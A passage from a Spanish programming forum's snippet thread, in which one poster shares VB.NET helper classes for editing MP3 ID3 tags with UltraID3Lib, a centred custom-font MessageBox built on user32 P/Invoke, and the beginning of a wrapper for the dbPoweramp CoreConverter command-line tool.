Esta librería está optimizada para trabajar archivos MP3, de hecho sólamente trabaja archivos mp3, además hice un pequeño test de velocidad y estos fueron los resultados:

Citar
                                                                                              TagLib Sharp        UltraId3Lib
Tiempo transcurrido para eliminar los tags ID3v1 + ID3v2 de 1.000 archivos mp3 (5,2 GB)       05:40 minutos       03:10 minutos

Ahora... si tuviera que elegir entre la lógica interna que usa cada librería, lo cierto es que no sabría por cual decidirme, por eso hice un ayudante para las dos librerías xD.

EDITO: He extendido la Class para manejar las carátulas de los mp3.

EDITO: He vuelto ha extender la Class para exprimir un poco más la librería.

Código
  1. #Region " UltraID3Lib "
  2.  
  3.  
  4.  
  5. ' [ UltraID3Lib Helper ]
  6. '
  7. ' // By Elektro H@cker
  8. '
  9. '
  10. ' Instructions:
  11. ' 1. Add a reference to "UltraID3Lib.dll" into the project.
  12. '
  13. '
  14. ' Examples:
  15. '
  16. ' MsgBox(UltraID3Lib.FileIsCorrupt("C:\File.mp3")) ' Result: True or False
  17. ' MsgBox(UltraID3Lib.ID3v1_Exist("C:\File.mp3"))   ' Result: True or False
  18. ' MsgBox(UltraID3Lib.ID3v2_Exist("C:\File.mp3"))   ' Result: True or False
  19. ' MsgBox(UltraID3Lib.IsVBR("C:\File.mp3"))         ' Result: True or False
  20. ' MsgBox(UltraID3Lib.Get_Metadata_Errors("C:\File.mp3"))
  21. ' MsgBox(UltraID3Lib.Get_Metadata_Warnings("C:\File.mp3"))
  22. '
  23. ' MsgBox(UltraID3Lib.Get_ID3_Tags("C:\File.mp3"))
  24. ' MsgBox(UltraID3Lib.Get_Title("C:\File.mp3"))
  25. ' MsgBox(UltraID3Lib.Get_Artist("C:\File.mp3"))
  26. ' MsgBox(UltraID3Lib.Get_Album("C:\File.mp3"))
  27. ' MsgBox(UltraID3Lib.Get_Genre("C:\File.mp3"))
  28. ' MsgBox(UltraID3Lib.Get_Year("C:\File.mp3"))
  29. ' MsgBox(UltraID3Lib.Get_Basic_Tag_Fields("C:\File.mp3"))
  30. '
  31. ' UltraID3Lib.Remove_ID3v1_Tag("C:\File.mp3") ' Removes ID3v1 Tag
  32. ' UltraID3Lib.Remove_ID3v2_Tag("C:\File.mp3") ' Removes ID3v2 Tag
  33. ' UltraID3Lib.Remove_ID3v1_ID3v2_Tags("C:\File.mp3") ' Removes ID3v1 + ID3v2 Tags
  34. '
  35. ' UltraID3Lib.Set_Tag_Field("C:\File.mp3", Sub(x) x.ID3v2Tag.Title = "Title Test")
  36. ' UltraID3Lib.Set_Tag_Fields("C:\File.mp3", {Sub(x) x.ID3v2Tag.Title = "Title Test", Sub(x) x.ID3v2Tag.Artist = "Artist Test"})
  37. '
  38. ' UltraID3Lib.Set_Main_Cover("C:\File.mp3", "C:\Image.jpg")
  39. ' UltraID3Lib.Add_Cover("C:\File.mp3", "C:\Image.jpg")
  40. ' UltraID3Lib.Delete_Covers("C:\File.mp3")
  41. ' PictureBox1.BackgroundImage = UltraID3Lib.Get_Main_Cover("C:\File.mp3")
  42. '
  43. ' For Each Genre As String In UltraID3Lib.Get_Generic_ID3_Genres() : MsgBox(Genre) : Next
  44. '
  45. ' MsgBox(UltraID3Lib.Get_Bitrate("C:\File.mp3")) ' Result: 320
  46. ' MsgBox(UltraID3Lib.Get_Duration("C:\File.mp3")) ' Result: 00:00:00:000
  47. ' MsgBox(UltraID3Lib.Get_Frequency("C:\File.mp3")) ' Result: 44100
  48. ' MsgBox(UltraID3Lib.Get_Channels("C:\File.mp3")) ' Result: JointStereo
  49. ' MsgBox(UltraID3Lib.Get_Layer("C:\File.mp3")) ' Result: MPEGLayer3
  50. ' MsgBox(UltraID3Lib.Get_Filesize("C:\File.mp3")) ' Result: 6533677
  51.  
  52.  
  53.  
  54. Imports HundredMilesSoftware.UltraID3Lib
  55.  
  56. Public Class UltraID3Lib
  57.  
  58.    ''' <summary>
  59.    ''' Stores the UltraID3Lib object.
  60.    ''' </summary>
  61.    Private Shared [UltraID3] As New UltraID3
  62.  
  63.    ' ''' <summary>
  64.    ' ''' Stores the Picture things.
  65.    ' ''' </summary>
  66.    ' Private Shared CurrentPictureFrame As ID3v2PictureFrame ' Not used in this Class
  67.    ' Private Shared PictureTypes As ArrayList ' Not used in this Class
  68.    ' Private Shared PictureFrames As ID3FrameCollection ' Not used in this Class
  69.    ' Private Shared PictureIndex As Integer ' Not used in this Class
  70.  
  71.    ''' <summary>
  72.    ''' Checks if file is possibly corrupt.
  73.    ''' </summary>
  74.    Public Shared Function FileIsCorrupt(ByVal File As String) As Boolean
  75.  
  76.        Try
  77.            [UltraID3].Read(File)
  78.            Return Convert.ToBoolean( _
  79.                       [UltraID3].GetExceptions(ID3ExceptionLevels.Error).Length _
  80.                     + [UltraID3].GetExceptions(ID3ExceptionLevels.Warning).Length)
  81.  
  82.        Catch ex As Exception
  83.            Throw New Exception(ex.Message)
  84.        End Try
  85.  
  86.    End Function
  87.  
  88.    ''' <summary>
  89.    ''' Checks for errors inside file metadata.
  90.    ''' </summary>
  91.    Public Shared Function Get_Metadata_Errors(ByVal File As String) As String
  92.  
  93.        Try
  94.            [UltraID3].Read(File)
  95.            Return String.Join(Environment.NewLine, _
  96.                               [UltraID3].GetExceptions(ID3ExceptionLevels.Error) _
  97.                               .Select(Function(ex) ex.Message))
  98.  
  99.        Catch ex As Exception
  100.            Throw New Exception(ex.Message)
  101.        End Try
  102.  
  103.    End Function
  104.  
  105.    ''' <summary>
  106.    ''' Checks for warnings inside file metadata.
  107.    ''' </summary>
  108.    Public Shared Function Get_Metadata_Warnings(ByVal File As String) As String
  109.  
  110.        Try
  111.            [UltraID3].Read(File)
  112.            Return String.Join(Environment.NewLine, _
  113.                               [UltraID3].GetExceptions(ID3ExceptionLevels.Warning) _
  114.                               .Select(Function(ex) ex.Message))
  115.  
  116.        Catch ex As Exception
  117.            Throw New Exception(ex.Message)
  118.        End Try
  119.  
  120.    End Function
  121.  
  122.    ''' <summary>
  123.    ''' Checks if ID3v1 exists in file.
  124.    ''' </summary>
  125.    Public Shared Function ID3v1_Exist(ByVal File As String) As Boolean
  126.  
  127.        Try
  128.            [UltraID3].Read(File)
  129.            Return [UltraID3].ID3v1Tag.ExistsInFile
  130.        Catch ex As Exception
  131.            Throw New Exception(ex.Message)
  132.        End Try
  133.  
  134.    End Function
  135.  
  136.    ''' <summary>
  137.    ''' Checks if ID3v2 exists in file.
  138.    ''' </summary>
  139.    Public Shared Function ID3v2_Exist(ByVal File As String) As Boolean
  140.  
  141.        Try
  142.            [UltraID3].Read(File)
  143.            Return [UltraID3].ID3v2Tag.ExistsInFile
  144.        Catch ex As Exception
  145.            Throw New Exception(ex.Message)
  146.        End Try
  147.  
  148.    End Function
  149.  
  150.    ''' <summary>
  151.    ''' Gets ID3 TagTypes of file.
  152.    ''' </summary>
  153.    Public Shared Function Get_ID3_Tags(ByVal File As String) As String
  154.  
  155.        Try
  156.            [UltraID3].Read(File)
  157.  
  158.            Return String.Format("{0}{1}", _
  159.                                 If([UltraID3].ID3v1Tag.ExistsInFile, "ID3v1, ", ""), _
  160.                                 If([UltraID3].ID3v2Tag.ExistsInFile, " ID3v2", "")).Trim
  161.  
  162.        Catch ex As Exception
  163.            Throw New Exception(ex.Message)
  164.  
  165.        End Try
  166.  
  167.    End Function
  168.  
  169.    ''' <summary>
  170.    ''' Removes entire ID3v1 Tag from file.
  171.    ''' </summary>
  172.    Public Shared Sub Remove_ID3v1_Tag(ByVal File As String)
  173.  
  174.        Try
  175.            [UltraID3].Read(File)
  176.            [UltraID3].ID3v1Tag.Clear()
  177.            [UltraID3].Write()
  178.  
  179.        Catch ex As Exception
  180.            Throw New Exception(ex.Message)
  181.  
  182.        End Try
  183.  
  184.    End Sub
  185.  
  186.    ''' <summary>
  187.    ''' Removes entire ID3v2 Tag from file.
  188.    ''' </summary>
  189.    Public Shared Sub Remove_ID3v2_Tag(ByVal File As String)
  190.  
  191.        Try
  192.            [UltraID3].Read(File)
  193.            [UltraID3].ID3v2Tag.Clear()
  194.            [UltraID3].Write()
  195.  
  196.        Catch ex As Exception
  197.            Throw New Exception(ex.Message)
  198.  
  199.        End Try
  200.  
  201.    End Sub
  202.  
  203.    ''' <summary>
  204.    ''' Removes entire ID3v1 + ID3v2 Tags from file.
  205.    ''' </summary>
  206.    Public Shared Sub Remove_ID3v1_ID3v2_Tags(ByVal File As String)
  207.  
  208.        Try
  209.            [UltraID3].Read(File)
  210.            [UltraID3].ID3v1Tag.Clear()
  211.            [UltraID3].ID3v2Tag.Clear()
  212.            [UltraID3].Write()
  213.  
  214.        Catch ex As Exception
  215.            Throw New Exception(ex.Message)
  216.  
  217.        End Try
  218.  
  219.    End Sub
  220.  
  221.    ''' <summary>
  222.    ''' Gets the Title tag field of file.
  223.    ''' </summary>
  224.    Public Shared Function Get_Title(ByVal File As String) As String
  225.  
  226.        Try
  227.            [UltraID3].Read(File)
  228.            Return [UltraID3].Title
  229.  
  230.        Catch ex As Exception
  231.            Throw New Exception(ex.Message)
  232.  
  233.        End Try
  234.  
  235.    End Function
  236.  
  237.    ''' <summary>
  238.    ''' Gets the Artist tag field of file.
  239.    ''' </summary>
  240.    Public Shared Function Get_Artist(ByVal File As String) As String
  241.  
  242.        Try
  243.            [UltraID3].Read(File)
  244.            Return [UltraID3].Artist
  245.  
  246.        Catch ex As Exception
  247.            Throw New Exception(ex.Message)
  248.  
  249.        End Try
  250.  
  251.    End Function
  252.  
  253.    ''' <summary>
  254.    ''' Gets the Album tag field of file.
  255.    ''' </summary>
  256.    Public Shared Function Get_Album(ByVal File As String) As String
  257.  
  258.        Try
  259.            [UltraID3].Read(File)
  260.            Return [UltraID3].Album
  261.  
  262.        Catch ex As Exception
  263.            Throw New Exception(ex.Message)
  264.  
  265.        End Try
  266.  
  267.    End Function
  268.  
  269.    ''' <summary>
  270.    ''' Gets the Genre tag field of file.
  271.    ''' </summary>
  272.    Public Shared Function Get_Genre(ByVal File As String) As String
  273.  
  274.        Try
  275.            [UltraID3].Read(File)
  276.            Return [UltraID3].Genre
  277.  
  278.        Catch ex As Exception
  279.            Throw New Exception(ex.Message)
  280.  
  281.        End Try
  282.  
  283.    End Function
  284.  
  285.    ''' <summary>
  286.    ''' Gets the Year tag field of file.
  287.    ''' </summary>
  288.    Public Shared Function Get_Year(ByVal File As String) As String
  289.  
  290.        Try
  291.            [UltraID3].Read(File)
  292.            Return [UltraID3].Year
  293.  
  294.        Catch ex As Exception
  295.            Throw New Exception(ex.Message)
  296.  
  297.        End Try
  298.  
  299.    End Function
  300.  
  301.    ''' <summary>
  302.    ''' Gets the basic tag fields of file.
  303.    ''' </summary>
  304.    Public Shared Function Get_Basic_Tag_Fields(ByVal File As String) As String
  305.  
  306.        Try
  307.            [UltraID3].Read(File)
  308.  
  309.            Return String.Format("Title: {1}{0}Artist: {2}{0}Album: {3}{0}Genre: {4}{0}Year: {5}", Environment.NewLine, _
  310.                                 [UltraID3].Title, _
  311.                                 [UltraID3].Artist, _
  312.                                 [UltraID3].Album, _
  313.                                 [UltraID3].Genre, _
  314.                                 [UltraID3].Year)
  315.  
  316.        Catch ex As Exception
  317.            Throw New Exception(ex.Message)
  318.            Return String.Empty
  319.  
  320.        End Try
  321.  
  322.    End Function
  323.  
  324.    ''' <summary>
  325.    ''' Sets a Tag field.
  326.    ''' </summary>
  327.    Public Shared Sub Set_Tag_Field(ByVal File As String, _
  328.                                    ByVal FieldSetter As Action(Of UltraID3))
  329.  
  330.        Try
  331.            [UltraID3].Read(File)
  332.            FieldSetter([UltraID3])
  333.            [UltraID3].Write()
  334.  
  335.        Catch ex As Exception
  336.            Throw New Exception(ex.Message)
  337.  
  338.        End Try
  339.  
  340.    End Sub
  341.  
  342.    ''' <summary>
  343.    ''' Sets multiple Tag fields.
  344.    ''' </summary>
  345.    Public Shared Sub Set_Tag_Fields(ByVal File As String, _
  346.                                     ByVal FieldSetter() As Action(Of UltraID3))
  347.  
  348.  
  349.        Try
  350.            [UltraID3].Read(File)
  351.  
  352.            For Each Field As Action(Of UltraID3) In FieldSetter
  353.                Field([UltraID3])
  354.            Next
  355.  
  356.            [UltraID3].Write()
  357.  
  358.        Catch ex As Exception
  359.            Throw New Exception(ex.Message)
  360.  
  361.        End Try
  362.  
  363.    End Sub
  364.  
  365.    ''' <summary>
  366.    ''' Sets Main Picture Cover.
  367.    ''' </summary>
  368.    Public Shared Sub Set_Main_Cover(ByVal File As String, _
  369.                            ByVal Picture As String)
  370.  
  371.        Try
  372.            [UltraID3].Read(File)
  373.            [UltraID3].ID3v2Tag.Frames.Add( _
  374.                       New ID3v23PictureFrame(New Bitmap(Picture), PictureTypes.CoverFront, String.Empty, TextEncodingTypes.Unicode))
  375.  
  376.            [UltraID3].Write()
  377.  
  378.        Catch ex As Exception
  379.            Throw New Exception(ex.Message)
  380.  
  381.        End Try
  382.  
  383.    End Sub
  384.  
  385.    ''' <summary>
  386.    ''' Adds a Picture Cover.
  387.    ''' </summary>
  388.    Public Shared Sub Add_Cover(ByVal File As String, _
  389.                                ByVal Picture As String)
  390.  
  391.        Try
  392.            [UltraID3].Read(File)
  393.            [UltraID3].ID3v2Tag.Frames.Add( _
  394.                       New ID3v23PictureFrame(New Bitmap(Picture), PictureTypes.Other, String.Empty, TextEncodingTypes.Unicode))
  395.            [UltraID3].Write()
  396.  
  397.        Catch ex As Exception
  398.            Throw New Exception(ex.Message)
  399.  
  400.        End Try
  401.  
  402.    End Sub
  403.  
  404.    ''' <summary>
  405.    ''' Deletes all Picture Covers.
  406.    ''' </summary>
  407.    Public Shared Sub Delete_Covers(ByVal File As String)
  408.  
  409.        Try
  410.            [UltraID3].Read(File)
  411.  
  412.            [UltraID3].ID3v2Tag.Frames.Remove( _
  413.                       [UltraID3].ID3v2Tag.Frames.GetFrames(MultipleInstanceID3v2FrameTypes.ID3v22Picture))
  414.  
  415.            [UltraID3].ID3v2Tag.Frames.Remove( _
  416.                       [UltraID3].ID3v2Tag.Frames.GetFrames(MultipleInstanceID3v2FrameTypes.ID3v23Picture))
  417.  
  418.            [UltraID3].Write()
  419.  
  420.        Catch ex As Exception
  421.            Throw New Exception(ex.Message)
  422.  
  423.        End Try
  424.  
  425.    End Sub
  426.  
  427.    ''' <summary>
  428.    ''' Gets Main Picture Cover.
  429.    ''' </summary>
  430.    Public Shared Function Get_Main_Cover(ByVal File As String) As Bitmap
  431.  
  432.        Try
  433.            [UltraID3].Read(File)
  434.  
  435.            If [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v23Picture, False) IsNot Nothing Then
  436.                Return DirectCast( _
  437.                       [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v23Picture, False),  _
  438.                       ID3v2PictureFrame).Picture
  439.            End If
  440.  
  441.            If [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v22Picture, False) IsNot Nothing Then
  442.                Return DirectCast( _
  443.                       [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v22Picture, False),  _
  444.                       ID3v2PictureFrame).Picture
  445.            End If
  446.  
  447.            Return Nothing
  448.  
  449.        Catch ex As Exception
  450.            Throw New Exception(ex.Message)
  451.  
  452.        End Try
  453.  
  454.    End Function
  455.  
  456.    ''' <summary>
  457.    ''' Gets the generic ID3 genre names.
  458.    ''' </summary>
  459.    Public Shared Function Get_Generic_ID3_Genres() As String()
  460.        Return UltraID3.GenreInfos.Cast(Of GenreInfo).Select(Function(Genre) Genre.Name).ToArray
  461.    End Function
  462.  
  463.    ''' <summary>
  464.    ''' Gets the Audio Bitrate.
  465.    ''' </summary>
  466.    Public Shared Function Get_Bitrate(ByVal File As String) As Short
  467.  
  468.        Try
  469.            [UltraID3].Read(File)
  470.            Return [UltraID3].FirstMPEGFrameInfo.Bitrate
  471.  
  472.        Catch ex As Exception
  473.            Throw New Exception(ex.Message)
  474.  
  475.        End Try
  476.  
  477.    End Function
  478.  
  479.    ''' <summary>
  480.    ''' Gets the Audio Duration.
  481.    ''' </summary>
  482.    Public Shared Function Get_Duration(ByVal File As String) As String
  483.  
  484.        Try
  485.            [UltraID3].Read(File)
  486.            Return String.Format("{0:00}:{1:00}:{2:00}:{3:000}", _
  487.                                  [UltraID3].FirstMPEGFrameInfo.Duration.Hours, _
  488.                                  [UltraID3].FirstMPEGFrameInfo.Duration.Minutes, _
  489.                                  [UltraID3].FirstMPEGFrameInfo.Duration.Seconds, _
  490.                                  [UltraID3].FirstMPEGFrameInfo.Duration.Milliseconds)
  491.  
  492.        Catch ex As Exception
  493.            Throw New Exception(ex.Message)
  494.  
  495.        End Try
  496.  
  497.    End Function
  498.  
  499.    ''' <summary>
  500.    ''' Gets the Audio Frequency.
  501.    ''' </summary>
  502.    Public Shared Function Get_Frequency(ByVal File As String) As Integer
  503.  
  504.        Try
  505.            [UltraID3].Read(File)
  506.            Return [UltraID3].FirstMPEGFrameInfo.Frequency
  507.  
  508.        Catch ex As Exception
  509.            Throw New Exception(ex.Message)
  510.  
  511.        End Try
  512.  
  513.    End Function
  514.  
  515.    ''' <summary>
  516.    ''' Gets the Audio MPEG Layer.
  517.    ''' </summary>
  518.    Public Shared Function Get_Layer(ByVal File As String) As String
  519.  
  520.        Try
  521.            [UltraID3].Read(File)
  522.            Return [UltraID3].FirstMPEGFrameInfo.Layer.ToString
  523.  
  524.        Catch ex As Exception
  525.            Throw New Exception(ex.Message)
  526.  
  527.        End Try
  528.  
  529.    End Function
  530.  
  531.    ''' <summary>
  532.    ''' Gets the Audio Channel mode.
  533.    ''' </summary>
  534.    Public Shared Function Get_Channels(ByVal File As String) As String
  535.  
  536.        Try
  537.            [UltraID3].Read(File)
  538.            Return [UltraID3].FirstMPEGFrameInfo.Mode.ToString
  539.  
  540.        Catch ex As Exception
  541.            Throw New Exception(ex.Message)
  542.  
  543.        End Try
  544.  
  545.    End Function
  546.  
  547.    ''' <summary>
  548.    ''' Gets the File Size.
  549.    ''' </summary>
  550.    Public Shared Function Get_Filesize(ByVal File As String) As Long
  551.  
  552.        Try
  553.            [UltraID3].Read(File)
  554.            Return [UltraID3].Size
  555.  
  556.        Catch ex As Exception
  557.            Throw New Exception(ex.Message)
  558.  
  559.        End Try
  560.  
  561.    End Function
  562.  
  563.    ''' <summary>
  564.    ''' Checks if VBR header is present in file.
  565.    ''' </summary>
  566.    Public Shared Function IsVBR(ByVal File As String) As Boolean
  567.  
  568.        Try
  569.            [UltraID3].Read(File)
  570.            Return [UltraID3].FirstMPEGFrameInfo.VBRInfo.WasFound
  571.  
  572.        Catch ex As Exception
  573.            Throw New Exception(ex.Message)
  574.  
  575.        End Try
  576.  
  577.    End Function
  578.  
  579. End Class
  580.  
  581. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Octubre 2013, 02:34 am
Un custom MessageBox que se puede alinear en el centro del formulario y además se puede personalizar la fuente de texto usada.

Modo de empleo:
Código
  1.        Using New CustomMessageBox(Me, New Font(New FontFamily("Lucida Console"), Font.SizeInPoints, FontStyle.Bold))
  2.            MessageBox.Show("Test Text", "Test Title", MessageBoxButtons.OK)
  3.        End Using


Código
  1. Imports System.Drawing
  2. Imports System.Runtime.InteropServices
  3. Imports System.Text
  4. Imports System.Windows.Forms
  5.  
  6. Class CustomMessageBox : Implements IDisposable
  7.  
  8.    Private mTries As Integer = 0
  9.    Private mOwner As Form
  10.    Private mFont As Font
  11.  
  12.    ' P/Invoke declarations
  13.    Private Const WM_SETFONT As Integer = &H30
  14.    Private Const WM_GETFONT As Integer = &H31
  15.  
  16.    Private Delegate Function EnumThreadWndProc(hWnd As IntPtr, lp As IntPtr) As Boolean
  17.  
  18.    <DllImport("user32.dll")> _
  19.    Private Shared Function EnumThreadWindows(tid As Integer, callback As EnumThreadWndProc, lp As IntPtr) As Boolean
  20.    End Function
  21.  
  22.    <DllImport("kernel32.dll")> _
  23.    Private Shared Function GetCurrentThreadId() As Integer
  24.    End Function
  25.  
  26.    <DllImport("user32.dll")> _
  27.    Private Shared Function GetClassName(hWnd As IntPtr, buffer As StringBuilder, buflen As Integer) As Integer
  28.    End Function
  29.  
  30.    <DllImport("user32.dll")> _
  31.    Private Shared Function GetDlgItem(hWnd As IntPtr, item As Integer) As IntPtr
  32.    End Function
  33.  
  34.    <DllImport("user32.dll")> _
  35.    Private Shared Function SendMessage(hWnd As IntPtr, msg As Integer, wp As IntPtr, lp As IntPtr) As IntPtr
  36.    End Function
  37.  
  38.    <DllImport("user32.dll")> _
  39.    Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As RECT) As Boolean
  40.    End Function
  41.  
  42.    <DllImport("user32.dll")> _
  43.    Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, w As Integer, h As Integer, repaint As Boolean) As Boolean
  44.    End Function
  45.  
  46.    Structure RECT
  47.        Public Left As Integer
  48.        Public Top As Integer
  49.        Public Right As Integer
  50.        Public Bottom As Integer
  51.    End Structure
  52.  
  53.    Public Sub New(owner As Form, Optional Custom_Font As Font = Nothing)
  54.        mOwner = owner
  55.        mFont = Custom_Font
  56.        owner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
  57.    End Sub
  58.  
  59.    Private Sub findDialog()
  60.  
  61.        ' Enumerate windows to find the message box
  62.        If mTries < 0 Then
  63.            Return
  64.        End If
  65.  
  66.        Dim callback As New EnumThreadWndProc(AddressOf checkWindow)
  67.  
  68.        If EnumThreadWindows(GetCurrentThreadId(), callback, IntPtr.Zero) Then
  69.            If System.Threading.Interlocked.Increment(mTries) < 10 Then
  70.                mOwner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
  71.            End If
  72.        End If
  73.  
  74.    End Sub
  75.  
  76.    Private Function checkWindow(hWnd As IntPtr, lp As IntPtr) As Boolean
  77.  
  78.        ' Checks if <hWnd> is a dialog
  79.        Dim sb As New StringBuilder(260)
  80.        GetClassName(hWnd, sb, sb.Capacity)
  81.        If sb.ToString() <> "#32770" Then Return True
  82.  
  83.        ' Got it, get the STATIC control that displays the text
  84.        Dim hText As IntPtr = GetDlgItem(hWnd, &HFFFF)
  85.  
  86.        Dim frmRect As New Rectangle(mOwner.Location, mOwner.Size)
  87.        Dim dlgRect As RECT
  88.        GetWindowRect(hWnd, dlgRect)
  89.        MoveWindow(hWnd, frmRect.Left + (frmRect.Width - dlgRect.Right + dlgRect.Left) \ 2, frmRect.Top + (frmRect.Height - dlgRect.Bottom + dlgRect.Top) \ 2, dlgRect.Right - dlgRect.Left, dlgRect.Bottom - dlgRect.Top, True)
  90.        If hText <> IntPtr.Zero Then
  91.  
  92.            If mFont Is Nothing Then
  93.                ' Get the current font
  94.                mFont = Font.FromHfont(SendMessage(hText, WM_GETFONT, IntPtr.Zero, IntPtr.Zero))
  95.            End If
  96.  
  97.            SendMessage(hText, WM_SETFONT, mFont.ToHfont(), New IntPtr(1))
  98.  
  99.        End If
  100.  
  101.        ' Done
  102.        Return False
  103.  
  104.    End Function
  105.  
  106.    Public Sub Dispose() Implements IDisposable.Dispose
  107.        mTries = -1
  108.        mOwner = Nothing
  109.        If mFont IsNot Nothing Then mFont.Dispose()
  110.    End Sub
  111.  
  112. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Octubre 2013, 23:57 pm
Un ayudante para manejar la aplicación dBpoweramp Music Converter, es el mejor conversor archivos de música a cualquier formato.

http://www.dbpoweramp.com/dmc.htm

Le agregué lo necesario para convertir a MP3, WAV, y WMA, se puede extender para agregar todos los demás codecs, pero es muy tedioso...

Tambiñen le agregué un par de eventos para capturar el progreso de conversión y mensajes de errores, el modo de empleo está explicado en los primeros comentarios.

PD: También existe una librería llamada dMcscriptinglib.dll, pero los autores de dbPowerAmp me dijeron que no es posible capturar el progreso de una conversión usando la librería, por ese motivo uso el executable CLI.

EDITO: Corregido un bug en las Enumeraciones del SampleRate de los Codecs, y he simplificado parte del código.

Código
  1. #Region " CoreConverter Helper "
  2.  
  3.  
  4.  
  5. ' [ CoreConverter Helper ]
  6. '
  7. ' // By Elektro H@cker
  8. '
  9. '
  10. ' Instructions:
  11. '
  12. ' 1. Add the "CoreConverter.exe" into the project,
  13. '    together with the dbPoweramp Effects and Codec folders.
  14. '
  15. ' Examples :
  16. '
  17. ' -------------------
  18. ' CONVERT FILE TO MP3
  19. ' -------------------
  20. ' CoreConverter.Convert_To_MP3("C:\Input.wav", "C:\Output.mp3", _
  21. '                              CoreConverter.Lame_Bitrate.kbps_320, _
  22. '                              CoreConverter.Lame_Bitrate_Mode.cbr, _
  23. '                              CoreConverter.Lame_Profile.SLOW, _
  24. '                              CoreConverter.Lame_Quality.Q0_Maximum, _
  25. '                              CoreConverter.Lame_Khz.Same_As_Source, _
  26. '                              CoreConverter.Lame_Channels.auto, _
  27. '                              { _
  28. '                                CoreConverter.DSP_Effects.Delete_Output_File_on_Error, _
  29. '                                CoreConverter.DSP_Effects.Recycle_Source_File_After_Conversion _
  30. '                              }, _
  31. '                              False, _
  32. '                              CoreConverter.Priority.normal)
  33. '
  34. ' -------------------
  35. ' CONVERT FILE TO WAV
  36. ' -------------------
  37. ' CoreConverter.Convert_To_WAV_Uncompressed("C:\Input.mp3", "C:\Output.wav", _
  38. '                                           CoreConverter.WAV_Uncompressed_Bitrate.Same_As_Source, _
  39. '                                           CoreConverter.WAV_Uncompressed_Khz.Same_As_Source, _
  40. '                                           CoreConverter.WAV_Uncompressed_Channels.Same_As_Source, , False)
  41. '
  42. ' -------------------
  43. ' CONVERT FILE TO WMA
  44. ' -------------------
  45. ' CoreConverter.Convert_To_WMA("C:\Input.mp3", "C:\Output.wma", _
  46. '                              CoreConverter.WMA_9_2_BitRates.Kbps_128, _
  47. '                              CoreConverter.WMA_9_2_Khz.Khz_44100, _
  48. '                              CoreConverter.WMA_9_2_Channels.stereo, , False)
  49. '
  50. ' ------
  51. ' EVENTS
  52. ' ------
  53. ' Public WithEvents Converter As New CoreConverter()
  54. '
  55. ' Sub Converter_Progress(Progress As Integer, e As EventArgs) Handles Converter.PercentDone
  56. '     ProgressBar1.Maximum = 59
  57. '     ProgressBar1.Step = 1
  58. '     ProgressBar1.PerformStep()
  59. ' End Sub
  60. '
  61. ' Sub Converter_Message(Message As String, e As EventArgs) Handles Converter.Exited
  62. '     ProgressBar1.Value = 0
  63. '     MessageBox.Show(Message)
  64. ' End Sub
  65.  
  66.  
  67.  
  68. Public Class CoreConverter : Implements IDisposable
  69.  
  70. #Region " Variables "
  71.  
  72.    ' <summary>
  73.    ' Gets or sets CoreConverter.exe executable path.
  74.    ' </summary>
  75.    Public Shared CoreConverter_Location As String = ".\CoreConverter.exe"
  76.  
  77.    ' Stores the CoreConverter process progress
  78.    Private Shared CurrentProgress As Integer = 0
  79.  
  80.    ' Stores the CoreConverter process StandarOutput
  81.    Private Shared StandardOutput As String = String.Empty
  82.  
  83.    ' Stores the CoreConverter process ErrorOutput
  84.    Private Shared ErrorOutput As String = String.Empty
  85.  
  86.    ' Stores the next output character
  87.    Private Shared OutputCharacter As Char = Nothing
  88.  
  89.    ' Stores the DSP Effects formatted string
  90.    Private Shared Effects As String = String.Empty
  91.  
  92. #End Region
  93.  
  94. #Region " Events "
  95.  
  96.    ' <summary>
  97.    ' Event raised when conversion progress changes.
  98.    ' </summary>
  99.    Public Shared Event PercentDone As EventHandler(Of PercentDoneEventArgs)
  100.    Public Class PercentDoneEventArgs : Inherits EventArgs
  101.        Public Property Progress As Integer
  102.    End Class
  103.  
  104.    ' <summary>
  105.    ' Event raised when CoreConverter process has exited.
  106.    ' </summary>
  107.    Public Shared Event Exited As EventHandler(Of ExitedEventArgs)
  108.    Public Class ExitedEventArgs : Inherits EventArgs
  109.        Public Property Message As String
  110.    End Class
  111.  
  112. #End Region
  113.  
  114. #Region " Process Info "
  115.  
  116.    ' CoreConverter Process Information.
  117.    Private Shared CoreConverter As New Process() With { _
  118.        .StartInfo = New ProcessStartInfo With { _
  119.        .CreateNoWindow = True, _
  120.        .UseShellExecute = False, _
  121.        .RedirectStandardError = True, _
  122.        .RedirectStandardOutput = True, _
  123.        .StandardErrorEncoding = System.Text.Encoding.Unicode, _
  124.        .StandardOutputEncoding = System.Text.Encoding.Unicode}}
  125.  
  126. #End Region
  127.  
  128. #Region " CoreConverter Enumerations "
  129.  
  130.    ' Priority level of CoreConverter.exe
  131.    Enum Priority
  132.        idle
  133.        low
  134.        normal
  135.        high
  136.    End Enum
  137.  
  138.    ' DSP Effects
  139.    Public Enum DSP_Effects
  140.        Delete_Output_File_on_Error ' Delete failed conversion (not deletes source file).
  141.        Delete_Source_File_After_Conversion ' Delete source file after conversion.
  142.        Recycle_Source_File_After_Conversion ' Send source file to recycle bin after conversion.
  143.        Karaoke_Remove_Voice ' Remove voice from file.
  144.        Karaoke_Remove_Instrument ' Remove instruments from file.
  145.        Reverse ' Reverse complete audio file.
  146.        Write_Silence ' Write silence at start of file.
  147.    End Enum
  148.  
  149. #End Region
  150.  
  151. #Region " Codec Enumerations "
  152.  
  153. #Region " MP3 Lame "
  154.  
  155.    Enum Lame_Bitrate
  156.        kbps_8 = 8
  157.        kbps_16 = 16
  158.        kbps_24 = 24
  159.        kbps_32 = 32
  160.        kbps_40 = 40
  161.        kbps_48 = 48
  162.        kbps_56 = 56
  163.        kbps_64 = 64
  164.        kbps_80 = 80
  165.        kbps_96 = 96
  166.        kbps_112 = 112
  167.        kbps_128 = 128
  168.        kbps_144 = 144
  169.        kbps_160 = 160
  170.        kbps_192 = 192
  171.        kbps_224 = 224
  172.        kbps_256 = 256
  173.        kbps_320 = 320
  174.    End Enum
